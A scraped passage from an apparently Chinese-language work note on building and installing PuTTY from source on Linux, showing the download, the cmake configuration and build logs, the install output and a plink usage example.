ssh/CMakeFiles/sshclient.dir/__/unix/gss.c.o [ 73%] Building C object ssh/CMakeFiles/sshclient.dir/__/unix/agent-client.c.o [ 73%] Building C object ssh/CMakeFiles/sshclient.dir/__/unix/sharing.c.o [ 73%] Linking C static library libsshclient.a [ 73%] Built target sshclient [ 73%] Building C object CMakeFiles/plink-be-list.dir/be_list.c.o [ 73%] Built target plink-be-list [ 73%] Building C object CMakeFiles/plink.dir/unix/plink.c.o [ 73%] Building C object CMakeFiles/plink.dir/unix/no-gtk.c.o [ 74%] Linking C executable plink [ 74%] Built target plink [ 74%] Building C object CMakeFiles/pscp-be-list.dir/be_list.c.o [ 74%] Built target pscp-be-list [ 74%] Building C object CMakeFiles/pscp.dir/pscp.c.o [ 74%] Building C object CMakeFiles/pscp.dir/unix/no-gtk.c.o [ 75%] Linking C executable pscp [ 75%] Built target pscp [ 75%] Building C object CMakeFiles/psftp-be-list.dir/be_list.c.o [ 75%] Built target psftp-be-list [ 75%] Building C object CMakeFiles/psftp.dir/psftp.c.o [ 76%] Building C object CMakeFiles/psftp.dir/unix/no-gtk.c.o [ 76%] Linking C executable psftp [ 76%] Built target psftp [ 76%] Building C object CMakeFiles/psocks.dir/unix/psocks.c.o [ 77%] Building C object CMakeFiles/psocks.dir/psocks.c.o [ 77%] Building C object CMakeFiles/psocks.dir/stubs/no-rand.c.o [ 77%] Building C object CMakeFiles/psocks.dir/proxy/nocproxy.c.o [ 77%] Building C object CMakeFiles/psocks.dir/proxy/nosshproxy.c.o [ 78%] Building C object CMakeFiles/psocks.dir/ssh/portfwd.c.o [ 78%] Building C object CMakeFiles/psocks.dir/unix/no-gtk.c.o [ 78%] Linking C executable psocks [ 78%] Built target psocks [ 78%] Built target manpages [ 78%] Building C object ssh/CMakeFiles/sshserver.dir/connection1-server.c.o [ 79%] Building C object ssh/CMakeFiles/sshserver.dir/connection2-server.c.o [ 79%] Building C object ssh/CMakeFiles/sshserver.dir/kex2-server.c.o [ 79%] Building C object ssh/CMakeFiles/sshserver.dir/login1-server.c.o [ 80%] Building C object ssh/CMakeFiles/sshserver.dir/server.c.o [ 80%] Building C object ssh/CMakeFiles/sshserver.dir/sesschan.c.o [ 80%] Building C object ssh/CMakeFiles/sshserver.dir/sftpserver.c.o [ 80%] Building C object ssh/CMakeFiles/sshserver.dir/userauth2-server.c.o [ 81%] Building C object ssh/CMakeFiles/sshserver.dir/__/unix/sftpserver.c.o [ 81%] Building C object ssh/CMakeFiles/sshserver.dir/__/unix/procnet.c.o [ 81%] Linking C static library libsshserver.a [ 81%] Built target sshserver [ 81%] Building C object unix/CMakeFiles/puttyxpms.dir/putty-xpm.c.o [ 82%] Building C object unix/CMakeFiles/puttyxpms.dir/putty-config-xpm.c.o [ 82%] Linking C static library libputtyxpms.a [ 82%] Built target puttyxpms [ 82%] Building C object unix/CMakeFiles/ptermxpms.dir/pterm-xpm.c.o [ 83%] Building C object unix/CMakeFiles/ptermxpms.dir/pterm-config-xpm.c.o [ 83%] Linking C static library libptermxpms.a [ 83%] Built target ptermxpms [ 84%] Generating ../CMakeFiles/sbcsdat.c.tmp [ 84%] Updating sbcsdat.c [ 84%] Built target generated_sbcsdat_c [ 84%] Building C object charset/CMakeFiles/charset.dir/fromucs.c.o [ 84%] Building C object charset/CMakeFiles/charset.dir/localenc.c.o [ 84%] Building C object charset/CMakeFiles/charset.dir/macenc.c.o [ 85%] Building C object charset/CMakeFiles/charset.dir/mimeenc.c.o [ 85%] Building C object charset/CMakeFiles/charset.dir/sbcs.c.o [ 85%] Building C object charset/CMakeFiles/charset.dir/__/CMakeFiles/sbcsdat.c.o [ 85%] Building C object charset/CMakeFiles/charset.dir/slookup.c.o [ 86%] Building C object charset/CMakeFiles/charset.dir/toucs.c.o [ 86%] Building C object charset/CMakeFiles/charset.dir/utf8.c.o [ 86%] Building C object charset/CMakeFiles/charset.dir/xenc.c.o [ 87%] Linking C static library libcharset.a [ 87%] Built target charset [ 87%] Generating CMakeFiles/licence.h.tmp [ 87%] Updating licence.h [ 87%] Built target generated_licence_h [ 88%] Building C object unix/CMakeFiles/fuzzterm-be-list.dir/__/be_list.c.o [ 88%] Built target fuzzterm-be-list [ 88%] Building C object unix/CMakeFiles/fuzzterm.dir/__/test/fuzzterm.c.o [ 88%] Building C object unix/CMakeFiles/fuzzterm.dir/__/logging.c.o [ 89%] Building C object unix/CMakeFiles/fuzzterm.dir/__/stubs/no-print.c.o [ 89%] Building C object unix/CMakeFiles/fuzzterm.dir/unicode.c.o [ 89%] Building C object unix/CMakeFiles/fuzzterm.dir/no-gtk.c.o [ 89%] Linking C executable ../fuzzterm [ 89%] Built target fuzzterm [ 89%] Building C object unix/CMakeFiles/osxlaunch.dir/osxlaunch.c.o [ 89%] Linking C executable ../osxlaunch [ 89%] Built target osxlaunch [ 89%] Building C object unix/CMakeFiles/psusan-be-list.dir/__/be_list.c.o [ 89%] Built target psusan-be-list [ 89%] Building C object unix/CMakeFiles/psusan.dir/psusan.c.o [ 90%] Building C object unix/CMakeFiles/psusan.dir/__/stubs/no-gss.c.o [ 90%] Building C object unix/CMakeFiles/psusan.dir/__/ssh/scpserver.c.o [ 90%] Building C object unix/CMakeFiles/psusan.dir/no-gtk.c.o [ 90%] Building C object unix/CMakeFiles/psusan.dir/pty.c.o [ 91%] Linking C executable ../psusan [ 91%] Built target psusan [ 92%] Building C object unix/CMakeFiles/puttygen-common.dir/__/stubs/no-timing.c.o [ 92%] Building C object unix/CMakeFiles/puttygen-common.dir/keygen-noise.c.o [ 92%] Building C object unix/CMakeFiles/puttygen-common.dir/no-gtk.c.o [ 92%] Building C object unix/CMakeFiles/puttygen-common.dir/noise.c.o [ 93%] Building C object unix/CMakeFiles/puttygen-common.dir/storage.c.o [ 93%] Building C object unix/CMakeFiles/puttygen-common.dir/__/sshpubk.c.o [ 93%] Building C object unix/CMakeFiles/puttygen-common.dir/__/sshrand.c.o [ 93%] Built target puttygen-common [ 93%] Building C object unix/CMakeFiles/puttygen.dir/__/cmdgen.c.o [ 93%] Linking C executable ../puttygen [ 93%] Built target puttygen [ 93%] Building C object unix/CMakeFiles/cgtest.dir/__/cgtest.c.o [ 94%] Linking C executable ../cgtest [ 94%] Built target cgtest [ 94%] Building C object unix/CMakeFiles/overaligned_alloc.dir/__/utils/memory.c.o [ 94%] Built target overaligned_alloc [ 94%] Building C object unix/CMakeFiles/testsc.dir/__/test/testsc.c.o [ 94%] Linking C executable ../testsc [ 94%] Built target testsc [ 95%] Building C object unix/CMakeFiles/testzlib.dir/__/test/testzlib.c.o [ 95%] Building C object unix/CMakeFiles/testzlib.dir/__/ssh/zlib.c.o [ 95%] Linking C executable ../testzlib [ 95%] Built target testzlib [ 95%] Building C object unix/CMakeFiles/uppity-be-list.dir/__/be_list.c.o [ 95%] Built target uppity-be-list [ 95%] Building C object unix/CMakeFiles/uppity.dir/uppity.c.o [ 96%] Building C object unix/CMakeFiles/uppity.dir/__/ssh/scpserver.c.o [ 96%] Building C object unix/CMakeFiles/uppity.dir/no-gtk.c.o [ 96%] Building C object unix/CMakeFiles/uppity.dir/pty.c.o [ 96%] Building C object unix/CMakeFiles/uppity.dir/__/stubs/no-gss.c.o [ 97%] Linking C executable ../uppity [ 97%] Built target uppity [ 97%] Building C object unix/CMakeFiles/pageant-be-list.dir/__/be_list.c.o [ 97%] Built target pageant-be-list [ 98%] Building C object unix/CMakeFiles/pageant.dir/pageant.c.o [ 98%] Building C object unix/CMakeFiles/pageant.dir/__/stubs/no-gss.c.o [ 98%] Building C object unix/CMakeFiles/pageant.dir/x11.c.o [ 98%] Building C object unix/CMakeFiles/pageant.dir/noise.c.o [ 99%] Building C object unix/CMakeFiles/pageant.dir/__/ssh/x11fwd.c.o [ 99%] Building C object unix/CMakeFiles/pageant.dir/__/proxy/nosshproxy.c.o [ 99%] Building C object unix/CMakeFiles/pageant.dir/noaskpass.c.o [ 99%] Building C object unix/CMakeFiles/pageant.dir/no-gtk.c.o [100%] Linking C executable ../pageant [100%] Built target pageant Install the project... -- Install configuration: \u0026#34;\u0026#34; -- Installing: /usr/local/bin/plink -- Installing: /usr/local/share/man/man1/plink.1 -- Installing: /usr/local/bin/pscp -- Installing: /usr/local/share/man/man1/pscp.1 -- Installing: /usr/local/bin/psftp -- Installing: /usr/local/share/man/man1/psftp.1 -- Installing: /usr/local/bin/psusan -- Installing: /usr/local/share/man/man1/psusan.1 -- Installing: /usr/local/bin/puttygen -- Installing: /usr/local/share/man/man1/puttygen.1 -- Installing: /usr/local/bin/pageant -- Installing: /usr/local/share/man/man1/pageant.1 使用 # 1 plink -i ~/.ssh/[putty].ppk [user@]host ","date":"June 5, 2024","externalUrl":null,"permalink":"/worknot/worknot-20240605-1/","section":"Worknots","summary":"編譯安裝 # 下載 putty 1 2 3 wget https://the.earth.li/~sgtatham/putty/latest/putty-0.83.tar.gz tar -zxf putty-0.83.tar.gz cd putty-0.83 建立 catch 1 cmake . 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 ❯ cmake . -- The C compiler identification is GNU 12.2.0 -- Detecting C compiler ABI info -- Detecting C compiler ABI info - done -- Check for working C compiler: /usr/bin/cc - skipped -- Detecting C compile features -- Detecting C compile features - done -- Found Git: /usr/bin/git (found version \"2.39.2\") -- Looking for sys/auxv.h -- Looking for sys/auxv.h - found -- Looking for asm/hwcap.h -- Looking for asm/hwcap.h - not found -- Looking for sys/sysctl.h -- Looking for sys/sysctl.h - not found -- Looking for sys/types.h -- Looking for sys/types.h - found -- Looking for glob.h -- Looking for glob.h - found -- Looking for utmp.h -- Looking for utmp.h - found -- Looking for utmpx.h -- Looking for utmpx.h - found -- Looking for futimes -- Looking for futimes - found -- Looking for getaddrinfo -- Looking for getaddrinfo - found -- Looking for posix_openpt -- Looking for posix_openpt - found -- Looking for ptsname -- Looking for ptsname - found -- Looking for setresuid -- Looking for setresuid - found -- Looking for setresgid -- Looking for setresgid - found -- Looking for strsignal -- Looking for strsignal - found -- Looking for updwtmpx -- Looking for updwtmpx - found -- Looking for fstatat -- Looking for fstatat - found -- Looking for dirfd -- Looking for dirfd - found -- Looking for setpwent -- Looking for setpwent - found -- Looking for endpwent -- Looking for endpwent - found -- Looking for getauxval -- Looking for getauxval - found -- Looking for elf_aux_info -- Looking for elf_aux_info - not found -- Looking for sysctlbyname -- Looking for sysctlbyname - not found -- Looking for CLOCK_MONOTONIC -- Looking for CLOCK_MONOTONIC - found -- Looking for clock_gettime -- Looking for clock_gettime - found -- Performing Test HAVE_SO_PEERCRED -- Performing Test HAVE_SO_PEERCRED - Success -- Performing Test HAVE_NULLARY_SETPGRP -- Performing Test HAVE_NULLARY_SETPGRP - Success -- Performing Test HAVE_BINARY_SETPGRP -- Performing Test HAVE_BINARY_SETPGRP - Failed -- Found PkgConfig: /usr/bin/pkg-config (found version \"1.8.1\") -- Checking for module 'gtk+-3.0' -- Package 'gtk+-3.0', required by 'virtual:world', not found -- Checking for module 'gtk+-2.0' -- Package 'gtk+-2.0', required by 'virtual:world', not found -- Checking for GTK1 (via gtk-config) -- Looking for pow in m -- Looking for pow in m - found -- Looking for clock_gettime in rt -- Looking for clock_gettime in rt - found -- Looking for socket in xnet -- Looking for socket in xnet - not found -- Looking for dlopen in dl -- Looking for dlopen in dl - found -- Performing Test HAVE_ALIGNED_ALLOC -- Performing Test HAVE_ALIGNED_ALLOC - Success -- Found Perl: /usr/bin/perl (found version \"5.36.0\") -- Performing Test HAVE_WMMINTRIN_H -- Performing Test HAVE_WMMINTRIN_H - Success -- Performing Test HAVE_AES_NI -- Performing Test HAVE_AES_NI - Success -- Performing Test HAVE_SHAINTRIN_H -- Performing Test HAVE_SHAINTRIN_H - Success -- Performing Test HAVE_SHA_NI -- Performing Test HAVE_SHA_NI - Success -- Performing Test HAVE_CLMUL -- Performing Test HAVE_CLMUL - Success -- Performing Test HAVE_ARM_NEON_H -- Performing Test HAVE_ARM_NEON_H - Failed -- Performing Test HAVE_ARM64_NEON_H -- Performing Test HAVE_ARM64_NEON_H - Failed -- Configuring done -- Generating done -- Build files have been written to: /home/testaccount/Downloads/putty-0.81 編譯 及 安裝 1 sudo cmake --build . --target install 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 ❯ sudo cmake --build . --target install [ 0%] Checking current git commit [ 0%] Built target check_git_commit [ 0%] Updating cmake_commit.c [ 0%] Built target cmake_commit_c [ 0%] Building C object CMakeFiles/utils.dir/CMakeFiles/cmake_commit.c.o [ 0%] Building C object CMakeFiles/utils.dir/utils/antispoof.c.o [ 1%] Building C object CMakeFiles/utils.dir/utils/backend_socket_log.c.o [ 1%] Building C object CMakeFiles/utils.dir/utils/base64_decode_atom.c.o [ 1%] Building C object CMakeFiles/utils.dir/utils/base64_decode.c.o [ 2%] Building C object CMakeFiles/utils.dir/utils/base64_encode_atom.c.o [ 2%] Building C object CMakeFiles/utils.dir/utils/base64_encode.c.o [ 2%] Building C object CMakeFiles/utils.dir/utils/base64_valid.c.o [ 2%] Building C object CMakeFiles/utils.dir/utils/bufchain.c.o [ 3%] Building C object CMakeFiles/utils.dir/utils/buildinfo.c.o [ 3%] Building C object CMakeFiles/utils.dir/utils/burnstr.c.o [ 3%] Building C object CMakeFiles/utils.dir/utils/cert-expr.c.o [ 3%] Building C object CMakeFiles/utils.dir/utils/chomp.c.o [ 4%] Building C object CMakeFiles/utils.dir/utils/cmdline_get_passwd_input_state_new.c.o [ 4%] Building C object CMakeFiles/utils.dir/utils/conf.c.o [ 4%] Building C object CMakeFiles/utils.dir/utils/conf_dest.c.o [ 4%] Building C object CMakeFiles/utils.dir/utils/conf_launchable.c.o [ 5%] Building C object CMakeFiles/utils.dir/utils/ctrlparse.c.o [ 5%] Building C object CMakeFiles/utils.dir/utils/ctrlset_normalise.c.o [ 5%] Building C object CMakeFiles/utils.dir/utils/debug.c.o [ 5%] Building C object CMakeFiles/utils.dir/utils/decode_utf8.c.o [ 6%] Building C object CMakeFiles/utils.dir/utils/decode_utf8_to_wchar.c.o [ 6%] Building C object CMakeFiles/utils.dir/utils/default_description.c.o [ 6%] Building C object CMakeFiles/utils.dir/utils/dupcat.c.o [ 7%] Building C object CMakeFiles/utils.dir/utils/dupprintf.c.o [ 7%] Building C object CMakeFiles/utils.dir/utils/dupstr.c.o [ 7%] Building C object CMakeFiles/utils.dir/utils/dup_mb_to_wc.c.o [ 7%] Building C object CMakeFiles/utils.dir/utils/dup_wc_to_mb.c.o [ 8%] Building C object CMakeFiles/utils.dir/utils/encode_utf8.c.o [ 8%] Building C object CMakeFiles/utils.dir/utils/encode_wide_string_as_utf8.c.o [ 8%] Building C object CMakeFiles/utils.dir/utils/fgetline.c.o [ 8%] Building C object CMakeFiles/utils.dir/utils/host_ca_new_free.c.o [ 9%] Building C object CMakeFiles/utils.dir/utils/host_strchr.c.o [ 9%] Building C object CMakeFiles/utils.dir/utils/host_strchr_internal.c.o [ 9%] Building C object CMakeFiles/utils.dir/utils/host_strcspn.c.o [ 9%] Building C object CMakeFiles/utils.dir/utils/host_strduptrim.c.o [ 10%] Building C object CMakeFiles/utils.dir/utils/host_strrchr.c.o [ 10%] Building C object CMakeFiles/utils.dir/utils/key_components.c.o [ 10%] Building C object CMakeFiles/utils.dir/utils/log_proxy_stderr.c.o [ 10%] Building C object CMakeFiles/utils.dir/utils/make_spr_sw_abort_static.c.o [ 11%] Building C object CMakeFiles/utils.dir/utils/marshal.c.o [ 11%] Building C object CMakeFiles/utils.dir/utils/memory.c.o [ 11%] Building C object CMakeFiles/utils.dir/utils/memxor.c.o [ 11%] Building C object CMakeFiles/utils.dir/utils/nullstrcmp.c.o [ 12%] Building C object CMakeFiles/utils.dir/utils/out_of_memory.c.o [ 12%] Building C object CMakeFiles/utils.dir/utils/parse_blocksize.c.o [ 12%] Building C object CMakeFiles/utils.dir/utils/percent_decode.c.o [ 13%] Building C object CMakeFiles/utils.dir/utils/percent_encode.c.o [ 13%] Building C object CMakeFiles/utils.dir/utils/prompts.c.o [ 13%] Building C object CMakeFiles/utils.dir/utils/ptrlen.c.o [ 13%] Building C object CMakeFiles/utils.dir/utils/read_file_into.c.o [ 14%] Building C object CMakeFiles/utils.dir/utils/seat_connection_fatal.c.o [ 14%] Building C object CMakeFiles/utils.dir/utils/seat_dialog_text.c.o [ 14%] Building C object CMakeFiles/utils.dir/utils/sessprep.c.o [ 14%] Building C object CMakeFiles/utils.dir/utils/sk_free_peer_info.c.o [ 15%] Building C object CMakeFiles/utils.dir/utils/smemclr.c.o [ 15%] Building C object CMakeFiles/utils.dir/utils/smemeq.c.o [ 15%] Building C object CMakeFiles/utils.dir/utils/spr_get_error_message.c.o [ 15%] Building C object CMakeFiles/utils.dir/utils/ssh_key_clone.c.o [ 16%] Building C object CMakeFiles/utils.dir/utils/ssh2_pick_fingerprint.c.o [ 16%] Building C object CMakeFiles/utils.dir/utils/sshutils.c.o [ 16%] Building C object CMakeFiles/utils.dir/utils/strbuf.c.o [ 16%] Building C object CMakeFiles/utils.dir/utils/string_length_for_printf.c.o [ 17%] Building C object CMakeFiles/utils.dir/utils/stripctrl.c.o [ 17%] Building C object CMakeFiles/utils.dir/utils/tempseat.c.o [ 17%] Building C object CMakeFiles/utils.dir/utils/tree234.c.o [ 18%] Building C object CMakeFiles/utils.dir/utils/validate_manual_hostkey.c.o [ 18%] Building C object CMakeFiles/utils.dir/utils/version.c.o [ 18%] Building C object CMakeFiles/utils.dir/utils/wcwidth.c.o [ 18%] Building C object CMakeFiles/utils.dir/utils/wildcard.c.o [ 19%] Building C object CMakeFiles/utils.dir/utils/wordwrap.c.o [ 19%] Building C object CMakeFiles/utils.dir/utils/write_c_string_literal.c.o [ 19%] Building C object CMakeFiles/utils.dir/utils/x11authfile.c.o [ 19%] Building C object CMakeFiles/utils.dir/utils/x11authnames.c.o [ 20%] Building C object CMakeFiles/utils.dir/utils/x11_dehexify.c.o [ 20%] Building C object CMakeFiles/utils.dir/utils/x11_identify_auth_proto.c.o [ 20%] Building C object CMakeFiles/utils.dir/utils/x11_make_greeting.c.o [ 20%] Building C object CMakeFiles/utils.dir/utils/x11_parse_ip.c.o [ 21%] Building C object CMakeFiles/utils.dir/stubs/null-lp.c.o [ 21%] Building C object CMakeFiles/utils.dir/stubs/null-cipher.c.o [ 21%] Building C object CMakeFiles/utils.dir/stubs/null-key.c.o [ 21%] Building C object CMakeFiles/utils.dir/stubs/null-mac.c.o [ 22%] Building C object CMakeFiles/utils.dir/stubs/null-opener.c.o [ 22%] Building C object CMakeFiles/utils.dir/stubs/null-plug.c.o [ 22%] Building C object CMakeFiles/utils.dir/stubs/null-seat.c.o [ 23%] Building C object CMakeFiles/utils.dir/unix/utils/arm_arch_queries.c.o [ 23%] Building C object CMakeFiles/utils.dir/unix/utils/block_signal.c.o [ 23%] Building C object CMakeFiles/utils.dir/unix/utils/cloexec.c.o [ 23%] Building C object CMakeFiles/utils.dir/unix/utils/dputs.c.o [ 24%] Building C object CMakeFiles/utils.dir/unix/utils/filename.c.o [ 24%] Building C object CMakeFiles/utils.dir/unix/utils/fontspec.c.o [ 24%] Building C object CMakeFiles/utils.dir/unix/utils/getticks.c.o [ 24%] Building C object CMakeFiles/utils.dir/unix/utils/get_username.c.o [ 25%] Building C object CMakeFiles/utils.dir/unix/utils/keysym_to_unicode.c.o [ 25%] Building C object CMakeFiles/utils.dir/unix/utils/make_dir_and_check_ours.c.o [ 25%] Building C object CMakeFiles/utils.dir/unix/utils/make_dir_path.c.o [ 25%] Building C object CMakeFiles/utils.dir/unix/utils/make_spr_sw_abort_errno.c.o [ 26%] Building C object CMakeFiles/utils.dir/unix/utils/nonblock.c.o [ 26%] Building C object CMakeFiles/utils.dir/unix/utils/open_for_write_would_lose_data.c.o [ 26%] Building C object CMakeFiles/utils.dir/unix/utils/pgp_fingerprints.c.o [ 26%] Building C object CMakeFiles/utils.dir/unix/utils/pollwrap.c.o [ 27%] Building C object CMakeFiles/utils.dir/unix/utils/signal.c.o [ 27%] Building C object CMakeFiles/utils.dir/unix/utils/x11_ignore_error.c.o [ 27%] Building C object CMakeFiles/utils.dir/utils/ltime.c.o [ 28%] Linking C static library libutils.a [ 28%] Built target utils [ 28%] Building C object CMakeFiles/logging.dir/logging.c.o [ 28%] Built target logging [ 29%] Building C object CMakeFiles/eventloop.dir/callback.c.o [ 29%] Building C object CMakeFiles/eventloop.dir/timing.c.o [ 29%] Building C object CMakeFiles/eventloop.dir/unix/cliloop.c.o [ 29%] Building C object CMakeFiles/eventloop.dir/unix/uxsel.c.o [ 30%] Linking C static library libeventloop.a [ 30%] Built target eventloop [ 30%] Building C object CMakeFiles/console.dir/clicons.c.o [ 31%] Building C object CMakeFiles/console.dir/console.c.o [ 31%] Building C object CMakeFiles/console.dir/unix/console.c.o [ 31%] Linking C static library libconsole.a [ 31%] Built target console [ 31%] Building C object CMakeFiles/settings.dir/cmdline.c.o [ 31%] Building C object CMakeFiles/settings.dir/settings.c.o [ 32%] Building C object CMakeFiles/settings.dir/unix/storage.c.o [ 32%] Linking C static library libsettings.a [ 32%] Built target settings [ 32%] Building C object crypto/CMakeFiles/object_lib_HAVE_CLMUL.dir/aesgcm-clmul.c.o [ 32%] Built target object_lib_HAVE_CLMUL [ 32%] Building C object crypto/CMakeFiles/object_lib_HAVE_AES_NI.dir/aes-ni.c.o [ 32%] Built target object_lib_HAVE_AES_NI [ 32%] Building C object crypto/CMakeFiles/object_lib_HAVE_SHA_NI.dir/sha256-ni.c.o [ 33%] Building C object crypto/CMakeFiles/object_lib_HAVE_SHA_NI.dir/sha1-ni.c.o [ 33%] Built target object_lib_HAVE_SHA_NI [ 33%] Building C object CMakeFiles/crypto.dir/proxy/cproxy.c.o [ 34%] Building C object CMakeFiles/crypto.dir/proxy/sshproxy.c.o [ 34%] Building C object CMakeFiles/crypto.dir/crypto/aes-common.c.o [ 34%] Building C object CMakeFiles/crypto.dir/crypto/aes-select.c.o [ 34%] Building C object CMakeFiles/crypto.dir/crypto/aes-sw.c.o [ 35%] Building C object CMakeFiles/crypto.dir/crypto/aesgcm-common.c.o [ 35%] Building C object CMakeFiles/crypto.dir/crypto/aesgcm-select.c.o [ 35%] Building C object CMakeFiles/crypto.dir/crypto/aesgcm-sw.c.o [ 35%] Building C object CMakeFiles/crypto.dir/crypto/aesgcm-ref-poly.c.o [ 36%] Building C object CMakeFiles/crypto.dir/crypto/arcfour.c.o [ 36%] Building C object CMakeFiles/crypto.dir/crypto/argon2.c.o [ 36%] Building C object CMakeFiles/crypto.dir/crypto/bcrypt.c.o [ 37%] Building C object CMakeFiles/crypto.dir/crypto/blake2.c.o [ 37%] Building C object CMakeFiles/crypto.dir/crypto/blowfish.c.o [ 37%] Building C object CMakeFiles/crypto.dir/crypto/chacha20-poly1305.c.o [ 37%] Building C object CMakeFiles/crypto.dir/crypto/crc32.c.o [ 38%] Building C object CMakeFiles/crypto.dir/crypto/des.c.o [ 38%] Building C object CMakeFiles/crypto.dir/crypto/diffie-hellman.c.o [ 38%] Building C object CMakeFiles/crypto.dir/crypto/dsa.c.o [ 38%] Building C object CMakeFiles/crypto.dir/crypto/ecc-arithmetic.c.o [ 39%] Building C object CMakeFiles/crypto.dir/crypto/ecc-ssh.c.o [ 39%] Building C object CMakeFiles/crypto.dir/crypto/hash_simple.c.o [ 39%] Building C object CMakeFiles/crypto.dir/crypto/hmac.c.o [ 39%] Building C object CMakeFiles/crypto.dir/crypto/mac.c.o [ 40%] Building C object CMakeFiles/crypto.dir/crypto/mac_simple.c.o [ 40%] Building C object CMakeFiles/crypto.dir/crypto/md5.c.o [ 40%] Building C object CMakeFiles/crypto.dir/crypto/mpint.c.o [ 40%] Building C object CMakeFiles/crypto.dir/crypto/ntru.c.o [ 41%] Building C object CMakeFiles/crypto.dir/crypto/openssh-certs.c.o [ 41%] Building C object CMakeFiles/crypto.dir/crypto/prng.c.o [ 41%] Building C object CMakeFiles/crypto.dir/crypto/pubkey-pem.c.o [ 42%] Building C object CMakeFiles/crypto.dir/crypto/pubkey-ppk.c.o [ 42%] Building C object CMakeFiles/crypto.dir/crypto/pubkey-ssh1.c.o [ 42%] Building C object CMakeFiles/crypto.dir/crypto/rfc6979.c.o [ 42%] Building C object CMakeFiles/crypto.dir/crypto/rsa.c.o [ 43%] Building C object CMakeFiles/crypto.dir/crypto/sha256-common.c.o [ 43%] Building C object CMakeFiles/crypto.dir/crypto/sha256-select.c.o [ 43%] Building C object CMakeFiles/crypto.dir/crypto/sha256-sw.c.o [ 43%] Building C object CMakeFiles/crypto.dir/crypto/sha512-common.c.o [ 44%] Building C object CMakeFiles/crypto.dir/crypto/sha512-select.c.o [ 44%] Building C object CMakeFiles/crypto.dir/crypto/sha512-sw.c.o [ 44%] Building C object CMakeFiles/crypto.dir/crypto/sha3.c.o [ 44%] Building C object CMakeFiles/crypto.dir/crypto/sha1-common.c.o [ 45%] Building C object CMakeFiles/crypto.dir/crypto/sha1-select.c.o [ 45%] Building C object CMakeFiles/crypto.dir/crypto/sha1-sw.c.o [ 45%] Building C object CMakeFiles/crypto.dir/crypto/xdmauth.c.o [ 45%] Linking C static library libcrypto.a [ 45%] Built target crypto [ 46%] Building C object CMakeFiles/network.dir/errsock.c.o [ 46%] Building C object CMakeFiles/network.dir/logging.c.o [ 46%] Building C object CMakeFiles/network.dir/x11disp.c.o [ 46%] Building C object CMakeFiles/network.dir/proxy/proxy.c.o [ 47%] Building C object CMakeFiles/network.dir/proxy/http.c.o [ 47%] Building C object CMakeFiles/network.dir/proxy/socks4.c.o [ 47%] Building C object CMakeFiles/network.dir/proxy/socks5.c.o [ 47%] Building C object CMakeFiles/network.dir/proxy/telnet.c.o [ 48%] Building C object CMakeFiles/network.dir/proxy/local.c.o [ 48%] Building C object CMakeFiles/network.dir/proxy/interactor.c.o [ 48%] Building C object CMakeFiles/network.dir/unix/network.c.o [ 49%] Building C object CMakeFiles/network.dir/unix/fd-socket.c.o [ 49%] Building C object CMakeFiles/network.dir/unix/agent-socket.c.o [ 49%] Building C object CMakeFiles/network.dir/unix/peerinfo.c.o [ 49%] Building C object CMakeFiles/network.dir/unix/local-proxy.c.o [ 50%] Building C object CMakeFiles/network.dir/unix/x11.c.o [ 50%] Linking C static library libnetwork.a [ 50%] Built target network [ 50%] Building C object CMakeFiles/keygen.dir/import.c.o [ 51%] Building C object CMakeFiles/keygen.dir/keygen/dsa.c.o [ 51%] Building C object CMakeFiles/keygen.dir/keygen/ecdsa.c.o [ 51%] Building C object CMakeFiles/keygen.dir/keygen/millerrabin.c.o [ 52%] Building C object CMakeFiles/keygen.dir/keygen/mpunsafe.c.o [ 52%] Building C object CMakeFiles/keygen.dir/keygen/pockle.c.o [ 52%] Building C object CMakeFiles/keygen.dir/keygen/prime.c.o [ 52%] Building C object CMakeFiles/keygen.dir/keygen/primecandidate.c.o [ 53%] Building C object CMakeFiles/keygen.dir/keygen/rsa.c.o [ 53%] Building C object CMakeFiles/keygen.dir/keygen/smallprimes.c.o [ 53%] Linking C static library libkeygen.a [ 53%] Built target keygen [ 53%] Building C object CMakeFiles/agent.dir/sshpubk.c.o [ 53%] Building C object CMakeFiles/agent.dir/pageant.c.o [ 53%] Building C object CMakeFiles/agent.dir/aqsync.c.o [ 54%] Building C object CMakeFiles/agent.dir/unix/agent-client.c.o [ 54%] Linking C static library libagent.a [ 54%] Built target agent [ 54%] Building C object CMakeFiles/guiterminal.dir/terminal/terminal.c.o [ 54%] Building C object CMakeFiles/guiterminal.dir/terminal/bidi.c.o [ 54%] Building C object CMakeFiles/guiterminal.dir/ldisc.c.o [ 55%] Building C object 